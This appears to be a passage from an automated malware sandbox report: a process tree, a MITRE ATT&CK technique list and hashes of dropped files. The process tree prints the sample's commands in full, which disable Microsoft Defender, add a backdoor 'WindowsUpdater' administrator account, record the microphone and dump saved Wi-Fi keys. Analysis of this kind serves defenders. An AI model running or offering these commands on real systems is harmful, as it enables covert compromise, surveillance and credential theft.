        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        
        PID:9040
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        
        PID:10300
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        
        PID:9176
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:5012
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:8668
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:12716
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070650002831.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14972
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:15092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        
        PID:9044
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:8788
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        
        PID:9360
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:9560
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:9176
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:11276
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070576374778.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4396
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7800
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:6348
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        
        PID:7460
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:8460
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:9164
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:10140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070493245198.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11916
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10472
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5692
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:7208
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:7928
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:8036
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:7852
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:5128
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070441778273.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6740
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      PID:5020
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      PID:6944
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        
        PID:6384
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:4976
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6800
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:8392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070407474564.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10460
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:10728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  PID:2284
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  PID:2560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3608
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:4924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:6628
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:7668
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:10040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070396999717.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 6c1acc0785286daa8cb6f948bb6e382f938d96dcdf8794817c648938ac4dc010
MD5 e7ab88060d82214200e94058a15aa7d4
SHA1 72b36efad26b32d08630c36d43855b30b61acd31
SHA512 1ba109b2b21759d4465d4bedce80878f8ad9cba6cce4db8e3a1fb5380700e9c4646114c3e88117c2e602ae444fb3498d66fff5d086a1089f202701f28ed8c6f8
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 86c90f56ec9ad980b210bf19fda1e79a843a642e535eb4453151c74fc6551d3e
MD5 3a2c41f0d8d0ba9b79835851850e6069
SHA1 67f4bdbe96acb7e7393589db7dbaf6ba162d86fd
SHA512 b40a5531b2ac925bc7bf806ea81286240487a15ca8e2323bed6c75c2d3ec4e9877732e63efd04e95d062166b4eb019d567172d272e42914500963ab3ad9f3322
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 be2a133b560e80b94620741f5bceacd0a6c0a3083a56aff9a74a07d83302a475
MD5 176a7228d778e15a6e4dde6654814ac4
SHA1 94a69857c2d18a192bfe2f37414781f7cc611007
SHA512 c9cf9164043f6488d75d5045551b8bbc308337ef67e227984a3937942900584149be674849d6754e33bdcad5e5fabb411f52170d5bfcc627823b4f4ed4221a9b
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 81259a58da91f6620d2a6c8fdceece74b75d8bd5392e23f3bb2156e5281881dc
MD5 79d898895217e8f53a4e95172461295c
SHA1 39fbc0f2f799f86f4b198e69e5bdbe2ecced9c5b
SHA512 7c4dd3db554d01bc48e93f783b1715f8ec2a48389a49d6bb84d24d20cdc6a2f9ef3ef6fdf03a9f22d201de8df44db35520bac7e0362cc9158975b057bd04059e
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 83e51a14fd258677c6cc4360feb29a2ff431f485a2e8bd1de5f4846d338a365f
MD5 6af6715e6a2a487f03c9ee48750e5d72
SHA1 caa580da91155ea2f4a3ec3866da9a153a1e6f6f
SHA512 53be771de5fa42e8720078ae0cf843640600ddaa4931bdc793fb31f0edbe46ed99933eeb2df34b75c5eb72830ed3f4a4d610d4ed5525a193b58825ef96287068
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 9276a5fbc07ce230560ab289601f58a69dcb483a841bc6a13f0cf832ad3dc30f
MD5 64ff4d1487a6febc87776dfd5259064f
SHA1 f6192a6eac5ad798b266ed03cf65cbc5eb4b8a9c
SHA512 8a96991a214a253a572b2d209e6b37283f538795d7b30632504393aa1ab72e57c07f7238769c5c2289a62c2c62cceac2561f7dcdcf1c5ca71d6816c932d18aee
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 4546ca5611c1fcbf85e537dca0cbfa83c1bd00d0ba05222c25af5176be87662f
MD5 6748825697f34606301ec1942327e167
SHA1 4e1af2896dc359984e076380ab3996b2b5537df2
SHA512 5939a3c7dfba9e8d619ec172fe70b0aa580bd6d536cb126c4812399c47ee2fa738967a8f31a599cb0c8a7203940c632d061ac997dbd07a638b143d0e235d4464
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 dd4c9d122d287ae1f4258355b30582b4c725f527eefa3cf6bca9dc8e9f087cb5
MD5 ac500bfbf6b8c8c1ef72ca14190a8b07
SHA1 504de05173d6d248c7a46bc36a456fe1474fc238
SHA512 53fc9cd11815d174ab9af1db0959f74af7a60a1913f3934c4b1708014cb8209c782a97e85cd5512b4f932e3a76d15aac2979ad84508065b228065bbd253fedea
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 df67f52cf16f39f86c4690898140244edd88f040d528205e66df8cd2771e3c43
MD5 f7ceae930dd7f0a05402401100e41d3b
SHA1 42699c4526e1f9ec88038a28c313a25d9f1013ff
SHA512 bd1fa06240210174b4dc22ee63b389933db8c3004dc49210cdec28c7bd3a0c9dce6c8f903fb660ed548a685447a472733621d04ddcf6f5c143844127c1d48381
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 3ebd180c65c0bd7f97a4f1ae445c8a03dd047c5885f4d7df435d003a2f12b223
MD5 f13e1860f8d43537555f9320f3ae5257
SHA1 58888bef01b3c8d6e944d3374e3da3dfcee6f087
SHA512 6e1819f3096591cd7104b1837bfefc74ddb413a04b6b32ecbbe9623da70885795ed5594698d96b978a600b585fff2129c592f32200ab3cafee7dddf9d77cd8a4
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

087bcfc6-0d12-4e98-be32-02c5fc4ecac9.inf

Path C:\Users\Admin\AppData\Local\Temp\087bcfc6-0d12-4e98-be32-02c5fc4ecac9.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ffacrtcl.dag.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ffacrtcl.dag.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a87ed56d-6ba7-440d-a0f2-c5fd497cce67.inf

Path C:\Users\Admin\AppData\Local\Temp\a87ed56d-6ba7-440d-a0f2-c5fd497cce67.inf
Size 165B
SHA256 56359b519ebe0b32a63645cc9072ad87b76059cd696057896aea8808b357481a
MD5 4983ae8c7fdb8bb9552d3be840b1da73
SHA1 0b944544f4afafc7f3eda4daa9fb4eaee51a434e
SHA512 27e02c56f641ba12fa8bc292f44c3ea256f4376d8cd3bddc2301b31c4ee81cd31dd59b9c107798813e8e35d4ba01779479914ab5e1ecbcd72d54032c2a26acb9
TLSH
T106C08CC0C1F59AB50A0A7973153F02A84EB2CA053E49171C20F0EAAA829A80562E327E
MD5 SHA1 SHA512 TLSH

Submit Download

dummy.tmp

Path C:\Users\Admin\AppData\Local\Temp\dummy.tmp
Size 1.5MB
SHA256 355a4cc6de5ab800ee099c91b389adfb950515b637a0d3fd3c032f62dbd683f0
MD5 32561624835f17a1e683977111864b6e
SHA1 853cac5e3f5829046c2ed17bc3f4283056783d8f
SHA512 2e381569622d53783f8ab31749ae1c7a533d4ba46ad57521ae240b342d56c2017de9b4203cc23e956f9ffaf899e5f0191603fb7575e511fab616457d673c5ac1
SSDEEP 24576:gXVwFe5GjJODH5z5iQa2uieWj8f3aVXSGFG39iELnbG/PO6vfjS6:glwjJ8t5iQauDhXTyW/fzS6
TLSH
T17C7533B5437D88451A2FDBC36A0B1D5F225F715CCD0AD9EA4A76908F3FEB022113AE85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 60B
SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
MD5 b31608602a1e0bf182890383caa50432
SHA1 934b32186076f89d14be5f08a2fd36c4fd0fff0b
SHA512 9e4fbbc0a526b8a691f0c4a8f9c9249863098bd5cce109547cf426e2778181a72a372d456a6d357fd48ad419cce3e09b8d8df57ef3df1529ed4ab043c067e228
TLSH
T1ACA002068885856F08154C1715E367C9B0B9045DAAC67A004241982C1AD745AB4CA512
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 25KB
SHA256 6f36ede475fc614342a9bbb08cd1c714e12cf5826e8a70b7946be046df2c204d
MD5 524fcb534a8c99296dded47206524b3b
SHA1 632918b42234eff666819cee5840cf13dc8eac04
SHA512 2d85a55d1640e268c487d511d964aade7ba463788253408b3171d6242625976a22dfee5c8cdb3436c803747aa25946f38d56b24c47ad075c1713c14e6c9b8f90
SSDEEP 384:x+FtU+baa4l0H9vkoPg0AhXcMZWcMl4+FIeUx90TGwNJ8G+H+pz9yS5W5amW:wYxCdvZPglFc0W/myIz9uD8zWBySd
TLSH
T122C2F74177FCC668E0BF5BB69C7257004774B89B9D12CB0E0EE8848E1E777444AA4BE2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\DCE74262-6CA8-4014-A430-2CD9D17E269D\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\DCE74262-6CA8-4014-A430-2CD9D17E269D\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

WindowsUpdate.bat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat
Size 71B
SHA256 a77e2498cb6aff427cf5716e649a376477cfe277ed6b501e8fbd12470384504a
MD5 89a6b64790af2e2a795e3856f4596249
SHA1 72993dc9b6480bbfee02e80a18042324bf663e13
SHA512 732a30e28a7ab89614a95662b465c06726e2a3ffaa0b49b066ba7f730a11e51e54c3fa650eb638c6f40d81494441b921f94ae2033dba9b639313fb3cd76a0e69
TLSH
T17EA02202C88B8EAE0C000C0308F3228CB03C0C2C2B803B200222C80C2AC300BB0CB203
MD5 SHA1 SHA512 TLSH

Submit Download

memory/120-291-0x0000013CFF150000-0x0000013CFF16E000-memory.dmp

Download

memory/120-292-0x0000013CFF170000-0x0000013CFF222000-memory.dmp

Download

memory/120-70-0x0000013CFEE80000-0x0000013CFEEA2000-memory.dmp

Download

memory/2284-370-0x00000229CA050000-0x00000229CA05A000-memory.dmp

Download

memory/5200-1-0x0000000000010000-0x000000000001C000-memory.dmp

Download

memory/5200-33-0x00007FFAC6720000-0x00007FFAC70C4000-memory.dmp

Download

memory/5200-389-0x00007FFAC6720000-0x00007FFAC70C4000-memory.dmp

Download

memory/5200-31-0x00007FFAC6720000-0x00007FFAC70C4000-memory.dmp

Download

memory/5200-30-0x00007FFAC6720000-0x00007FFAC70C4000-memory.dmp

Download

memory/5200-600-0x00007FFAC6720000-0x00007FFAC70C4000-memory.dmp

Download

memory/5200-0-0x00007FFAC68AF000-0x00007FFAC68B0000-memory.dmp

Download

memory/5200-257-0x00007FFAC6720000-0x00007FFAC70C4000-memory.dmp

Download

memory/7268-516-0x00000197CCB60000-0x00000197CCB61000-memory.dmp

Download